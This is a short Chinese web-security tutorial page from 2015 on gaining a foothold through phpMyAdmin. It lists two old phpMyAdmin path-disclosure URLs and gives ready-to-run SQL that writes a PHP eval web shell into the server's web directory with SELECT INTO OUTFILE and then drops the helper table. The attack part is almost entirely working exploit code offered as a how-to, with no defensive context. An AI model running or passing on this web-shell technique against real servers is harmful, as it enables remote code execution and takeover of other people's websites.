对于phpmyadmin提权简单的方法 - 网站安全

对于phpmyadmin提权简单的方法 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 12:00 作者：阅读:次

[导读] 简单的方法如下：1.想办法找路径利用PHPmyadmin 导出Shell 如 phpmyadmin早起的暴路径文件漏洞http://www.2cto.com /phpmyadmin/libraries/lect_lang.lib.phphttp://www.2cto.com/phpmyadmin/themes/darkb......

简单的方法如下：

1.想办法找路径利用PHPmyadmin 导出Shell 如 phpmyadmin早起的暴路径文件漏洞

http://www.2cto.com /phpmyadmin/libraries/lect_lang.lib.php

http://www.2cto.com /phpmyadmin/themes/darkblue_orange/layout.inc.php

二:提权

选择一个Database.运行以下语句.

—-start code—

Create TABLE a (cmd text NOT NULL);

Insert INTO a (cmd) VALUES(‘<?php eval($_POST[1]);?>’);

select cmd from a into outfile ‘D:/phpMyAdmin/libraries/d.php’;

Drop TABLE IF EXISTS a;

—-end code—

还有其他方法比如： Dll的提权 MYSQL提权等

利用HTML XML, VML, TIME 相关来执行XSS - 网站安全 -

一种脚本越权的方法 - 网站安全 - 自学php

子栏目

对于phpmyadmin提权简单的方法 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论